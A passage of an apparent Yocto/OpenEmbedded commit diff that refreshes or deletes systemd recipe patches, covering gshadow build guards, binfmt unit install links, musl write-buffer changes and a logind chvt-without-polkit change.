-Signed-off-by: Alex Kiernan <alex.kiernan@gmail.com>
----
- src/shared/group-record-nss.c | 20 ++++++++++++++++++++
- src/shared/group-record-nss.h | 4 ++++
- src/shared/userdb.c | 6 ++++++
- 3 files changed, 30 insertions(+)
-
---- a/src/shared/group-record-nss.c
-+++ b/src/shared/group-record-nss.c
-@@ -19,8 +19,10 @@ int nss_group_to_group_record(
- if (isempty(grp->gr_name))
- return -EINVAL;
-
-+#if ENABLE_GSHADOW
- if (sgrp && !streq_ptr(sgrp->sg_namp, grp->gr_name))
- return -EINVAL;
-+#endif
-
- g = group_record_new();
- if (!g)
-@@ -36,6 +38,7 @@ int nss_group_to_group_record(
-
- g->gid = grp->gr_gid;
-
-+#if ENABLE_GSHADOW
- if (sgrp) {
- if (looks_like_hashed_password(sgrp->sg_passwd)) {
- g->hashed_password = strv_new(sgrp->sg_passwd);
-@@ -51,6 +54,7 @@ int nss_group_to_group_record(
- if (!g->administrators)
- return -ENOMEM;
- }
-+#endif
-
- r = json_build(&g->json, JSON_BUILD_OBJECT(
- JSON_BUILD_PAIR("groupName", JSON_BUILD_STRING(g->group_name)),
-@@ -76,6 +80,7 @@ int nss_sgrp_for_group(const struct grou
- assert(ret_sgrp);
- assert(ret_buffer);
-
-+#if ENABLE_GSHADOW
- for (;;) {
- _cleanup_free_ char *buf = NULL;
- struct sgrp sgrp, *result;
-@@ -104,6 +109,9 @@ int nss_sgrp_for_group(const struct grou
- buflen *= 2;
- buf = mfree(buf);
- }
-+#else
-+ return -ESRCH;
-+#endif
- }
-
- int nss_group_record_by_name(
-@@ -115,7 +123,9 @@ int nss_group_record_by_name(
- struct group grp, *result;
- bool incomplete = false;
- size_t buflen = 4096;
-+#if ENABLE_GSHADOW
- struct sgrp sgrp, *sresult = NULL;
-+#endif
- int r;
-
- assert(name);
-@@ -145,6 +155,7 @@ int nss_group_record_by_name(
- buf = mfree(buf);
- }
-
-+#if ENABLE_GSHADOW
- if (with_shadow) {
- r = nss_sgrp_for_group(result, &sgrp, &sbuf);
- if (r < 0) {
-@@ -156,6 +167,9 @@ int nss_group_record_by_name(
- incomplete = true;
-
- r = nss_group_to_group_record(result, sresult, ret);
-+#else
-+ r = nss_group_to_group_record(result, NULL, ret);
-+#endif
- if (r < 0)
- return r;
-
-@@ -172,7 +186,9 @@ int nss_group_record_by_gid(
- struct group grp, *result;
- bool incomplete = false;
- size_t buflen = 4096;
-+#if ENABLE_GSHADOW
- struct sgrp sgrp, *sresult = NULL;
-+#endif
- int r;
-
- assert(ret);
-@@ -200,6 +216,7 @@ int nss_group_record_by_gid(
- buf = mfree(buf);
- }
-
-+#if ENABLE_GSHADOW
- if (with_shadow) {
- r = nss_sgrp_for_group(result, &sgrp, &sbuf);
- if (r < 0) {
-@@ -211,6 +228,9 @@ int nss_group_record_by_gid(
- incomplete = true;
-
- r = nss_group_to_group_record(result, sresult, ret);
-+#else
-+ r = nss_group_to_group_record(result, NULL, ret);
-+#endif
- if (r < 0)
- return r;
-
---- a/src/shared/group-record-nss.h
-+++ b/src/shared/group-record-nss.h
-@@ -2,7 +2,11 @@
- #pragma once
-
- #include <grp.h>
-+#if ENABLE_GSHADOW
- #include <gshadow.h>
-+#else
-+struct sgrp;
-+#endif
-
- #include "group-record.h"
-
---- a/src/shared/userdb.c
-+++ b/src/shared/userdb.c
-@@ -930,13 +930,16 @@ int groupdb_iterator_get(UserDBIterator
- if (gr) {
- _cleanup_free_ char *buffer = NULL;
- bool incomplete = false;
-+#if ENABLE_GSHADOW
- struct sgrp sgrp;
-+#endif
-
- if (streq_ptr(gr->gr_name, "root"))
- iterator->synthesize_root = false;
- if (gr->gr_gid == GID_NOBODY)
- iterator->synthesize_nobody = false;
-
-+#if ENABLE_GSHADOW
- r = nss_sgrp_for_group(gr, &sgrp, &buffer);
- if (r < 0) {
- log_debug_errno(r, "Failed to acquire shadow entry for group %s, ignoring: %m", gr->gr_name);
-@@ -944,6 +947,9 @@ int groupdb_iterator_get(UserDBIterator
- }
-
- r = nss_group_to_group_record(gr, r >= 0 ? &sgrp : NULL, ret);
-+#else
-+ r = nss_group_to_group_record(gr, NULL, ret);
-+#endif
- if (r < 0)
- return r;
-
diff --git a/meta/recipes-core/systemd/systemd/0001-binfmt-Don-t-install-dependency-links-at-install-tim.patch b/meta/recipes-core/systemd/systemd/0001-binfmt-Don-t-install-dependency-links-at-install-tim.patch
index 2676c144f2..d3af734e06 100644
--- a/meta/recipes-core/systemd/systemd/0001-binfmt-Don-t-install-dependency-links-at-install-tim.patch
+++ b/meta/recipes-core/systemd/systemd/0001-binfmt-Don-t-install-dependency-links-at-install-tim.patch
@@ -1,4 +1,4 @@
-From 564830719be2017c4953589d50f21a9e856a4ecc Mon Sep 17 00:00:00 2001
+From 08cd165f5db0e68a499b80c4b1744a4206948259 Mon Sep 17 00:00:00 2001
From: Chen Qi <Qi.Chen@windriver.com>
Date: Thu, 21 Feb 2019 16:23:24 +0800
Subject: [PATCH] binfmt: Don't install dependency links at install time for
@@ -25,11 +25,11 @@ Signed-off-by: Scott Murray <scott.murray@konsulko.com>
units/systemd-binfmt.service.in | 4 ++++
3 files changed, 9 insertions(+), 4 deletions(-)
-Index: systemd-stable/units/meson.build
-===================================================================
---- systemd-stable.orig/units/meson.build
-+++ systemd-stable/units/meson.build
-@@ -54,8 +54,7 @@ units = [
+diff --git a/units/meson.build b/units/meson.build
+index 17e9ead9c1..e5502be620 100644
+--- a/units/meson.build
++++ b/units/meson.build
+@@ -59,8 +59,7 @@ units = [
['poweroff.target', '',
(with_runlevels ? 'runlevel0.target' : '')],
['printer.target', ''],
@@ -38,10 +38,10 @@ Index: systemd-stable/units/meson.build
+ ['proc-sys-fs-binfmt_misc.automount', 'ENABLE_BINFMT'],
['proc-sys-fs-binfmt_misc.mount', 'ENABLE_BINFMT'],
['reboot.target', '',
- (with_runlevels ? 'runlevel6.target ctrl-alt-del.target' : 'ctrl-alt-del.target')],
-@@ -162,8 +161,7 @@ in_units = [
- ['rc-local.service', 'HAVE_SYSV_COMPAT'],
+ 'ctrl-alt-del.target' + (with_runlevels ? ' runlevel6.target' : '')],
+@@ -178,8 +177,7 @@ in_units = [
['rescue.service', ''],
+ ['serial-getty@.service', ''],
['systemd-backlight@.service', 'ENABLE_BACKLIGHT'],
- ['systemd-binfmt.service', 'ENABLE_BINFMT',
- 'sysinit.target.wants/'],
@@ -49,22 +49,22 @@ Index: systemd-stable/units/meson.build
['systemd-bless-boot.service', 'ENABLE_EFI HAVE_BLKID'],
['systemd-boot-check-no-failures.service', ''],
['systemd-coredump@.service', 'ENABLE_COREDUMP'],
-Index: systemd-stable/units/proc-sys-fs-binfmt_misc.automount
-===================================================================
---- systemd-stable.orig/units/proc-sys-fs-binfmt_misc.automount
-+++ systemd-stable/units/proc-sys-fs-binfmt_misc.automount
-@@ -18,3 +18,6 @@ ConditionPathIsReadWrite=/proc/sys/
+diff --git a/units/proc-sys-fs-binfmt_misc.automount b/units/proc-sys-fs-binfmt_misc.automount
+index 172c8757ab..f65d8930c6 100644
+--- a/units/proc-sys-fs-binfmt_misc.automount
++++ b/units/proc-sys-fs-binfmt_misc.automount
+@@ -19,3 +19,6 @@ ConditionPathIsReadWrite=/proc/sys/
[Automount]
Where=/proc/sys/fs/binfmt_misc
+
+[Install]
+WantedBy=sysinit.target
-Index: systemd-stable/units/systemd-binfmt.service.in
-===================================================================
---- systemd-stable.orig/units/systemd-binfmt.service.in
-+++ systemd-stable/units/systemd-binfmt.service.in
-@@ -14,6 +14,7 @@ Documentation=https://www.kernel.org/doc
+diff --git a/units/systemd-binfmt.service.in b/units/systemd-binfmt.service.in
+index fdafce7ff7..4efc05e495 100644
+--- a/units/systemd-binfmt.service.in
++++ b/units/systemd-binfmt.service.in
+@@ -14,6 +14,7 @@ Documentation=https://www.kernel.org/doc/html/latest/admin-guide/binfmt-misc.htm
Documentation=https://www.freedesktop.org/wiki/Software/systemd/APIFileSystems
DefaultDependencies=no
Conflicts=shutdown.target
@@ -73,8 +73,8 @@ Index: systemd-stable/units/systemd-binfmt.service.in
After=proc-sys-fs-binfmt_misc.mount
Before=sysinit.target shutdown.target
@@ -30,3 +31,6 @@ RemainAfterExit=yes
- ExecStart=@rootlibexecdir@/systemd-binfmt
- ExecStop=@rootlibexecdir@/systemd-binfmt --unregister
+ ExecStart={{ROOTLIBEXECDIR}}/systemd-binfmt
+ ExecStop={{ROOTLIBEXECDIR}}/systemd-binfmt --unregister
TimeoutSec=90s
+
+[Install]
diff --git a/meta/recipes-core/systemd/systemd/0001-do-not-disable-buffer-in-writing-files.patch b/meta/recipes-core/systemd/systemd/0001-do-not-disable-buffer-in-writing-files.patch
deleted file mode 100644
index 39a975319b..0000000000
--- a/meta/recipes-core/systemd/systemd/0001-do-not-disable-buffer-in-writing-files.patch
+++ /dev/null
@@ -1,411 +0,0 @@
-From f92fd7e77ed5aab2dda01a20e6891c37f09415d3 Mon Sep 17 00:00:00 2001
-From: Chen Qi <Qi.Chen@windriver.com>
-Date: Fri, 1 Mar 2019 15:22:15 +0800
-Subject: [PATCH] do not disable buffer in writing files
-
-Do not disable buffer in writing files, otherwise we get
-failure at boot for musl like below.
-
- [!!!!!!] Failed to allocate manager object.
-
-And there will be other failures, critical or not critical.
-This is specific to musl.
-
-Upstream-Status: Inappropriate [musl]
-
-Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
-[Rebased for v242]
-Signed-off-by: Andrej Valek <andrej.valek@siemens.com>
-[rebased for systemd 243]
-Signed-off-by: Scott Murray <scott.murray@konsulko.com>
-
----
- src/basic/cgroup-util.c | 10 +++++-----
- src/basic/procfs-util.c | 4 ++--
- src/basic/smack-util.c | 2 +-
- src/basic/util.c | 2 +-
- src/binfmt/binfmt.c | 6 +++---
- src/core/main.c | 4 ++--
- src/core/smack-setup.c | 8 ++++----
- src/hibernate-resume/hibernate-resume.c | 2 +-
- src/libsystemd/sd-device/sd-device.c | 2 +-
- src/login/logind-dbus.c | 2 +-
- src/nspawn/nspawn-cgroup.c | 2 +-
- src/nspawn/nspawn.c | 6 +++---
- src/shared/cgroup-setup.c | 4 ++--
- src/shared/sysctl-util.c | 2 +-
- src/sleep/sleep.c | 8 ++++----
- src/udev/udevadm-trigger.c | 2 +-
- src/udev/udevd.c | 2 +-
- src/vconsole/vconsole-setup.c | 2 +-
- 18 files changed, 35 insertions(+), 35 deletions(-)
-
-Index: systemd-stable/src/basic/cgroup-util.c
-===================================================================
---- systemd-stable.orig/src/basic/cgroup-util.c
-+++ systemd-stable/src/basic/cgroup-util.c
-@@ -769,7 +769,7 @@ int cg_install_release_agent(const char
-
- sc = strstrip(contents);
- if (isempty(sc)) {
-- r = write_string_file(fs, agent, WRITE_STRING_FILE_DISABLE_BUFFER);
-+ r = write_string_file(fs, agent, 0);
- if (r < 0)
- return r;
- } else if (!path_equal(sc, agent))
-@@ -787,7 +787,7 @@ int cg_install_release_agent(const char
-
- sc = strstrip(contents);
- if (streq(sc, "0")) {
-- r = write_string_file(fs, "1", WRITE_STRING_FILE_DISABLE_BUFFER);
-+ r = write_string_file(fs, "1", 0);
- if (r < 0)
- return r;
-
-@@ -814,7 +814,7 @@ int cg_uninstall_release_agent(const cha
- if (r < 0)
- return r;
-
-- r = write_string_file(fs, "0", WRITE_STRING_FILE_DISABLE_BUFFER);
-+ r = write_string_file(fs, "0", 0);
- if (r < 0)
- return r;
-
-@@ -824,7 +824,7 @@ int cg_uninstall_release_agent(const cha
- if (r < 0)
- return r;
-
-- r = write_string_file(fs, "", WRITE_STRING_FILE_DISABLE_BUFFER);
-+ r = write_string_file(fs, "", 0);
- if (r < 0)
- return r;
-
-@@ -1656,7 +1656,7 @@ int cg_set_attribute(const char *control
- if (r < 0)
- return r;
-
-- return write_string_file(p, value, WRITE_STRING_FILE_DISABLE_BUFFER);
-+ return write_string_file(p, value, 0);
- }
-
- int cg_get_attribute(const char *controller, const char *path, const char *attribute, char **ret) {
-Index: systemd-stable/src/basic/procfs-util.c
-===================================================================
---- systemd-stable.orig/src/basic/procfs-util.c
-+++ systemd-stable/src/basic/procfs-util.c
-@@ -86,13 +86,13 @@ int procfs_tasks_set_limit(uint64_t limi
- * decrease it, as threads-max is the much more relevant sysctl. */
- if (limit > pid_max-1) {
- sprintf(buffer, "%" PRIu64, limit+1); /* Add one, since PID 0 is not a valid PID */
-- r = write_string_file("/proc/sys/kernel/pid_max", buffer, WRITE_STRING_FILE_DISABLE_BUFFER);
-+ r = write_string_file("/proc/sys/kernel/pid_max", buffer, 0);
- if (r < 0)
- return r;
- }
-
- sprintf(buffer, "%" PRIu64, limit);
-- r = write_string_file("/proc/sys/kernel/threads-max", buffer, WRITE_STRING_FILE_DISABLE_BUFFER);
-+ r = write_string_file("/proc/sys/kernel/threads-max", buffer, 0);
- if (r < 0) {
- uint64_t threads_max;
-
-Index: systemd-stable/src/basic/smack-util.c
-===================================================================
---- systemd-stable.orig/src/basic/smack-util.c
-+++ systemd-stable/src/basic/smack-util.c
-@@ -114,7 +114,7 @@ int mac_smack_apply_pid(pid_t pid, const
- return 0;
-
- p = procfs_file_alloca(pid, "attr/current");
-- r = write_string_file(p, label, WRITE_STRING_FILE_DISABLE_BUFFER);
-+ r = write_string_file(p, label, 0);
- if (r < 0)
- return r;
-
-Index: systemd-stable/src/basic/util.c
-===================================================================
---- systemd-stable.orig/src/basic/util.c
-+++ systemd-stable/src/basic/util.c
-@@ -267,7 +267,7 @@ void disable_coredumps(void) {
- if (detect_container() > 0)
- return;
-
-- r = write_string_file("/proc/sys/kernel/core_pattern", "|/bin/false", WRITE_STRING_FILE_DISABLE_BUFFER);
-+ r = write_string_file("/proc/sys/kernel/core_pattern", "|/bin/false", 0);
- if (r < 0)
- log_debug_errno(r, "Failed to turn off coredumps, ignoring: %m");
- }
-Index: systemd-stable/src/binfmt/binfmt.c
-===================================================================
---- systemd-stable.orig/src/binfmt/binfmt.c
-+++ systemd-stable/src/binfmt/binfmt.c
-@@ -48,7 +48,7 @@ static int delete_rule(const char *rule)
- if (!fn)
- return log_oom();
-
-- return write_string_file(fn, "-1", WRITE_STRING_FILE_DISABLE_BUFFER);
-+ return write_string_file(fn, "-1", 0);
- }
-
- static int apply_rule(const char *rule) {
-@@ -56,7 +56,7 @@ static int apply_rule(const char *rule)
-
- (void) delete_rule(rule);
-
-- r = write_string_file("/proc/sys/fs/binfmt_misc/register", rule, WRITE_STRING_FILE_DISABLE_BUFFER);
-+ r = write_string_file("/proc/sys/fs/binfmt_misc/register", rule, 0);
- if (r < 0)
- return log_error_errno(r, "Failed to add binary format: %m");
-
-@@ -223,7 +223,7 @@ static int run(int argc, char *argv[]) {
- }
-
- /* Flush out all rules */
-- (void) write_string_file("/proc/sys/fs/binfmt_misc/status", "-1", WRITE_STRING_FILE_DISABLE_BUFFER);
-+ (void) write_string_file("/proc/sys/fs/binfmt_misc/status", "-1", 0);
-
- STRV_FOREACH(f, files) {
- k = apply_file(*f, true);
-Index: systemd-stable/src/core/main.c
-===================================================================
---- systemd-stable.orig/src/core/main.c
-+++ systemd-stable/src/core/main.c
-@@ -1382,7 +1382,7 @@ static int bump_unix_max_dgram_qlen(void
- if (v >= DEFAULT_UNIX_MAX_DGRAM_QLEN)
- return 0;
-
-- r = write_string_filef("/proc/sys/net/unix/max_dgram_qlen", WRITE_STRING_FILE_DISABLE_BUFFER, "%lu", DEFAULT_UNIX_MAX_DGRAM_QLEN);
-+ r = write_string_filef("/proc/sys/net/unix/max_dgram_qlen", 0, "%lu", DEFAULT_UNIX_MAX_DGRAM_QLEN);
- if (r < 0)
- return log_full_errno(IN_SET(r, -EROFS, -EPERM, -EACCES) ? LOG_DEBUG : LOG_WARNING, r,
- "Failed to bump AF_UNIX datagram queue length, ignoring: %m");
-@@ -1668,7 +1668,7 @@ static void initialize_core_pattern(bool
- if (getpid_cached() != 1)
- return;
-
-- r = write_string_file("/proc/sys/kernel/core_pattern", arg_early_core_pattern, WRITE_STRING_FILE_DISABLE_BUFFER);
-+ r = write_string_file("/proc/sys/kernel/core_pattern", arg_early_core_pattern, 0);
- if (r < 0)
- log_warning_errno(r, "Failed to write '%s' to /proc/sys/kernel/core_pattern, ignoring: %m", arg_early_core_pattern);
- }
-Index: systemd-stable/src/core/smack-setup.c
-===================================================================
---- systemd-stable.orig/src/core/smack-setup.c
-+++ systemd-stable/src/core/smack-setup.c
-@@ -325,17 +325,17 @@ int mac_smack_setup(bool *loaded_policy)
- }
-
- #ifdef SMACK_RUN_LABEL
-- r = write_string_file("/proc/self/attr/current", SMACK_RUN_LABEL, WRITE_STRING_FILE_DISABLE_BUFFER);
-+ r = write_string_file("/proc/self/attr/current", SMACK_RUN_LABEL, 0);
- if (r < 0)
- log_warning_errno(r, "Failed to set SMACK label \"" SMACK_RUN_LABEL "\" on self: %m");
-- r = write_string_file("/sys/fs/smackfs/ambient", SMACK_RUN_LABEL, WRITE_STRING_FILE_DISABLE_BUFFER);
-+ r = write_string_file("/sys/fs/smackfs/ambient", SMACK_RUN_LABEL, 0);
- if (r < 0)
- log_warning_errno(r, "Failed to set SMACK ambient label \"" SMACK_RUN_LABEL "\": %m");
- r = write_string_file("/sys/fs/smackfs/netlabel",
-- "0.0.0.0/0 " SMACK_RUN_LABEL, WRITE_STRING_FILE_DISABLE_BUFFER);
-+ "0.0.0.0/0 " SMACK_RUN_LABEL, 0);
- if (r < 0)
- log_warning_errno(r, "Failed to set SMACK netlabel rule \"0.0.0.0/0 " SMACK_RUN_LABEL "\": %m");
-- r = write_string_file("/sys/fs/smackfs/netlabel", "127.0.0.1 -CIPSO", WRITE_STRING_FILE_DISABLE_BUFFER);
-+ r = write_string_file("/sys/fs/smackfs/netlabel", "127.0.0.1 -CIPSO", 0);
- if (r < 0)
- log_warning_errno(r, "Failed to set SMACK netlabel rule \"127.0.0.1 -CIPSO\": %m");
- #endif
-Index: systemd-stable/src/hibernate-resume/hibernate-resume.c
-===================================================================
---- systemd-stable.orig/src/hibernate-resume/hibernate-resume.c
-+++ systemd-stable/src/hibernate-resume/hibernate-resume.c
-@@ -45,7 +45,7 @@ int main(int argc, char *argv[]) {
- return EXIT_FAILURE;
- }
-
-- r = write_string_file("/sys/power/resume", major_minor, WRITE_STRING_FILE_DISABLE_BUFFER);
-+ r = write_string_file("/sys/power/resume", major_minor, 0);
- if (r < 0) {
- log_error_errno(r, "Failed to write '%s' to /sys/power/resume: %m", major_minor);
- return EXIT_FAILURE;
-Index: systemd-stable/src/libsystemd/sd-device/sd-device.c
-===================================================================
---- systemd-stable.orig/src/libsystemd/sd-device/sd-device.c
-+++ systemd-stable/src/libsystemd/sd-device/sd-device.c
-@@ -1877,7 +1877,7 @@ _public_ int sd_device_set_sysattr_value
- if (!value)
- return -ENOMEM;
-
-- r = write_string_file(path, value, WRITE_STRING_FILE_DISABLE_BUFFER | WRITE_STRING_FILE_NOFOLLOW);
-+ r = write_string_file(path, value, 0 | WRITE_STRING_FILE_NOFOLLOW);
- if (r < 0) {
- if (r == -ELOOP)
- return -EINVAL;
-Index: systemd-stable/src/login/logind-dbus.c
-===================================================================
---- systemd-stable.orig/src/login/logind-dbus.c
-+++ systemd-stable/src/login/logind-dbus.c
-@@ -1341,7 +1341,7 @@ static int trigger_device(Manager *m, sd
- if (!t)
- return -ENOMEM;
-
-- (void) write_string_file(t, "change", WRITE_STRING_FILE_DISABLE_BUFFER);
-+ (void) write_string_file(t, "change", 0);
- }
-
- return 0;
-Index: systemd-stable/src/nspawn/nspawn-cgroup.c
-===================================================================
---- systemd-stable.orig/src/nspawn/nspawn-cgroup.c
-+++ systemd-stable/src/nspawn/nspawn-cgroup.c
-@@ -124,7 +124,7 @@ int sync_cgroup(pid_t pid, CGroupUnified
- fn = strjoina(tree, cgroup, "/cgroup.procs");
-
- sprintf(pid_string, PID_FMT, pid);
-- r = write_string_file(fn, pid_string, WRITE_STRING_FILE_DISABLE_BUFFER|WRITE_STRING_FILE_MKDIR_0755);
-+ r = write_string_file(fn, pid_string, WRITE_STRING_FILE_MKDIR_0755);
- if (r < 0) {
- log_error_errno(r, "Failed to move process: %m");
- goto finish;
-Index: systemd-stable/src/nspawn/nspawn.c
-===================================================================
---- systemd-stable.orig/src/nspawn/nspawn.c
-+++ systemd-stable/src/nspawn/nspawn.c
-@@ -2493,7 +2493,7 @@ static int reset_audit_loginuid(void) {
- if (streq(p, "4294967295"))
- return 0;
-
-- r = write_string_file("/proc/self/loginuid", "4294967295", WRITE_STRING_FILE_DISABLE_BUFFER);
-+ r = write_string_file("/proc/self/loginuid", "4294967295", 0);
- if (r < 0) {
- log_error_errno(r,
- "Failed to reset audit login UID. This probably means that your kernel is too\n"
-@@ -3726,13 +3726,13 @@ static int setup_uid_map(pid_t pid) {
-
- xsprintf(uid_map, "/proc/" PID_FMT "/uid_map", pid);
- xsprintf(line, UID_FMT " " UID_FMT " " UID_FMT "\n", 0, arg_uid_shift, arg_uid_range);
-- r = write_string_file(uid_map, line, WRITE_STRING_FILE_DISABLE_BUFFER);
-+ r = write_string_file(uid_map, line, 0);
- if (r < 0)
- return log_error_errno(r, "Failed to write UID map: %m");
-
- /* We always assign the same UID and GID ranges */
- xsprintf(uid_map, "/proc/" PID_FMT "/gid_map", pid);
-- r = write_string_file(uid_map, line, WRITE_STRING_FILE_DISABLE_BUFFER);
-+ r = write_string_file(uid_map, line, 0);
- if (r < 0)
- return log_error_errno(r, "Failed to write GID map: %m");
-
-Index: systemd-stable/src/shared/cgroup-setup.c
-===================================================================
---- systemd-stable.orig/src/shared/cgroup-setup.c
-+++ systemd-stable/src/shared/cgroup-setup.c
-@@ -267,7 +267,7 @@ int cg_attach(const char *controller, co
-
- xsprintf(c, PID_FMT "\n", pid);
-
-- r = write_string_file(fs, c, WRITE_STRING_FILE_DISABLE_BUFFER);
-+ r = write_string_file(fs, c, 0);
- if (r < 0)
- return r;
-
-@@ -817,7 +817,7 @@ int cg_enable_everywhere(
- return log_debug_errno(errno, "Failed to open cgroup.subtree_control file of %s: %m", p);
- }
-
-- r = write_string_stream(f, s, WRITE_STRING_FILE_DISABLE_BUFFER);
-+ r = write_string_stream(f, s, 0);
- if (r < 0) {
- log_debug_errno(r, "Failed to %s controller %s for %s (%s): %m",
- FLAGS_SET(mask, bit) ? "enable" : "disable", n, p, fs);
-Index: systemd-stable/src/shared/sysctl-util.c
-===================================================================
---- systemd-stable.orig/src/shared/sysctl-util.c
-+++ systemd-stable/src/shared/sysctl-util.c
-@@ -93,7 +93,7 @@ int sysctl_write_ip_property(int af, con
-
- log_debug("Setting '%s' to '%s'", p, value);
-
-- return write_string_file(p, value, WRITE_STRING_FILE_VERIFY_ON_FAILURE | WRITE_STRING_FILE_DISABLE_BUFFER);
-+ return write_string_file(p, value, WRITE_STRING_FILE_VERIFY_ON_FAILURE | 0);
- }
-
- int sysctl_read(const char *property, char **content) {
-Index: systemd-stable/src/sleep/sleep.c
-===================================================================
---- systemd-stable.orig/src/sleep/sleep.c
-+++ systemd-stable/src/sleep/sleep.c
-@@ -48,7 +48,7 @@ static int write_hibernate_location_info
- assert(hibernate_location->swap);
-
- xsprintf(resume_str, "%u:%u", major(hibernate_location->devno), minor(hibernate_location->devno));
-- r = write_string_file("/sys/power/resume", resume_str, WRITE_STRING_FILE_DISABLE_BUFFER);
-+ r = write_string_file("/sys/power/resume", resume_str, 0);
- if (r < 0)
- return log_debug_errno(r, "Failed to write partition device to /sys/power/resume for '%s': '%s': %m",
- hibernate_location->swap->device, resume_str);
-@@ -75,7 +75,7 @@ static int write_hibernate_location_info
- }
-
- xsprintf(offset_str, "%" PRIu64, hibernate_location->offset);
-- r = write_string_file("/sys/power/resume_offset", offset_str, WRITE_STRING_FILE_DISABLE_BUFFER);
-+ r = write_string_file("/sys/power/resume_offset", offset_str, 0);
- if (r < 0)
- return log_debug_errno(r, "Failed to write swap file offset to /sys/power/resume_offset for '%s': '%s': %m",
- hibernate_location->swap->device, offset_str);
-@@ -92,7 +92,7 @@ static int write_mode(char **modes) {
- STRV_FOREACH(mode, modes) {
- int k;
-
-- k = write_string_file("/sys/power/disk", *mode, WRITE_STRING_FILE_DISABLE_BUFFER);
-+ k = write_string_file("/sys/power/disk", *mode, 0);
- if (k >= 0)
- return 0;
-
-@@ -114,7 +114,7 @@ static int write_state(FILE **f, char **
- STRV_FOREACH(state, states) {
- int k;
-
-- k = write_string_stream(*f, *state, WRITE_STRING_FILE_DISABLE_BUFFER);
-+ k = write_string_stream(*f, *state, 0);
- if (k >= 0)
- return 0;
- log_debug_errno(k, "Failed to write '%s' to /sys/power/state: %m", *state);
-Index: systemd-stable/src/udev/udevadm-trigger.c
-===================================================================
---- systemd-stable.orig/src/udev/udevadm-trigger.c
-+++ systemd-stable/src/udev/udevadm-trigger.c
-@@ -43,7 +43,7 @@ static int exec_list(sd_device_enumerato
- if (!filename)
- return log_oom();
-
-- r = write_string_file(filename, action, WRITE_STRING_FILE_DISABLE_BUFFER);
-+ r = write_string_file(filename, action, 0);
- if (r < 0) {
- bool ignore = IN_SET(r, -ENOENT, -EACCES, -ENODEV, -EROFS);
-
-Index: systemd-stable/src/udev/udevd.c
-===================================================================
---- systemd-stable.orig/src/udev/udevd.c
-+++ systemd-stable/src/udev/udevd.c
-@@ -1153,7 +1153,7 @@ static int synthesize_change_one(sd_devi
-
- filename = strjoina(syspath, "/uevent");
- log_device_debug(dev, "device is closed, synthesising 'change' on %s", syspath);
-- r = write_string_file(filename, "change", WRITE_STRING_FILE_DISABLE_BUFFER);
-+ r = write_string_file(filename, "change", 0);
- if (r < 0)
- return log_device_debug_errno(dev, r, "Failed to write 'change' to %s: %m", filename);
- return 0;
-Index: systemd-stable/src/vconsole/vconsole-setup.c
-===================================================================
---- systemd-stable.orig/src/vconsole/vconsole-setup.c
-+++ systemd-stable/src/vconsole/vconsole-setup.c
-@@ -116,7 +116,7 @@ static int toggle_utf8_vc(const char *na
- static int toggle_utf8_sysfs(bool utf8) {
- int r;
-
-- r = write_string_file("/sys/module/vt/parameters/default_utf8", one_zero(utf8), WRITE_STRING_FILE_DISABLE_BUFFER);
-+ r = write_string_file("/sys/module/vt/parameters/default_utf8", one_zero(utf8), 0);
- if (r < 0)
- return log_warning_errno(r, "Failed to %s sysfs UTF-8 flag: %m", enable_disable(utf8));
-
diff --git a/meta/recipes-core/systemd/systemd/0001-logind-Restore-chvt-as-non-root-user-without-polkit.patch b/meta/recipes-core/systemd/systemd/0001-logind-Restore-chvt-as-non-root-user-without-polkit.patch
deleted file mode 100644
index 89ef39bc3e..0000000000
--- a/meta/recipes-core/systemd/systemd/0001-logind-Restore-chvt-as-non-root-user-without-polkit.patch
+++ /dev/null
@@ -1,227 +0,0 @@
-From 150d9cade6d475570395cb418b824524dead9577 Mon Sep 17 00:00:00 2001
-From: Joshua Watt <JPEWhacker@gmail.com>
-Date: Fri, 30 Oct 2020 08:15:43 -0500
-Subject: [PATCH] logind: Restore chvt as non-root user without polkit
-
-4acf0cfd2f ("logind: check PolicyKit before allowing VT switch") broke
-the ability to write user sessions that run graphical sessions (e.g.
-weston/X11). This was partially amended in 19bb87fbfa ("login: allow
-non-console sessions to change vt") by changing the default PolicyKit
-policy so that non-root users are again allowed to switch the VT. This
-makes the policy when PolKit is not enabled (as on many embedded
-systems) match the default PolKit policy and allows launching graphical
-sessions as a non-root user.
-
-Closes #17473
----
- src/login/logind-dbus.c | 11 ++-------
- src/login/logind-polkit.c | 26 +++++++++++++++++++++
- src/login/logind-polkit.h | 10 ++++++++
- src/login/logind-seat-dbus.c | 41 ++++-----------------------------
- src/login/logind-session-dbus.c | 11 ++-------
- src/login/meson.build | 1 +
- 6 files changed, 46 insertions(+), 54 deletions(-)
- create mode 100644 src/login/logind-polkit.c
- create mode 100644 src/login/logind-polkit.h
-
-diff --git a/src/login/logind-dbus.c b/src/login/logind-dbus.c
-index 0f83ed99bc..a3765d88ba 100644
---- a/src/login/logind-dbus.c
-+++ b/src/login/logind-dbus.c
-@@ -30,6 +30,7 @@
- #include "format-util.h"
- #include "fs-util.h"
- #include "logind-dbus.h"
-+#include "logind-polkit.h"
- #include "logind-seat-dbus.h"
- #include "logind-session-dbus.h"
- #include "logind-user-dbus.h"
-@@ -1047,15 +1048,7 @@ static int method_activate_session_on_seat(sd_bus_message *message, void *userda
- return sd_bus_error_setf(error, BUS_ERROR_SESSION_NOT_ON_SEAT,
- "Session %s not on seat %s", session_name, seat_name);
-
-- r = bus_verify_polkit_async(
-- message,
-- CAP_SYS_ADMIN,
-- "org.freedesktop.login1.chvt",
-- NULL,
-- false,
-- UID_INVALID,
-- &m->polkit_registry,
-- error);
-+ r = check_polkit_chvt(message, m, error);
- if (r < 0)
- return r;
- if (r == 0)
-diff --git a/src/login/logind-polkit.c b/src/login/logind-polkit.c
-new file mode 100644
-index 0000000000..9072570cc6
---- /dev/null
-+++ b/src/login/logind-polkit.c
-@@ -0,0 +1,26 @@
-+/* SPDX-License-Identifier: LGPL-2.1+ */
-+
-+#include "bus-polkit.h"
-+#include "logind-polkit.h"
-+#include "missing_capability.h"
-+#include "user-util.h"
-+
-+int check_polkit_chvt(sd_bus_message *message, Manager *manager, sd_bus_error *error) {
-+#if ENABLE_POLKIT
-+ return bus_verify_polkit_async(
-+ message,
-+ CAP_SYS_ADMIN,
-+ "org.freedesktop.login1.chvt",
-+ NULL,
-+ false,
-+ UID_INVALID,
-+ &manager->polkit_registry,
-+ error);
-+#else
-+ /* Allow chvt when polkit is not present. This allows a service to start a graphical session as a
-+ * non-root user when polkit is not compiled in, matching the default polkit policy */
-+ return 1;
-+#endif
-+}
-+
-+
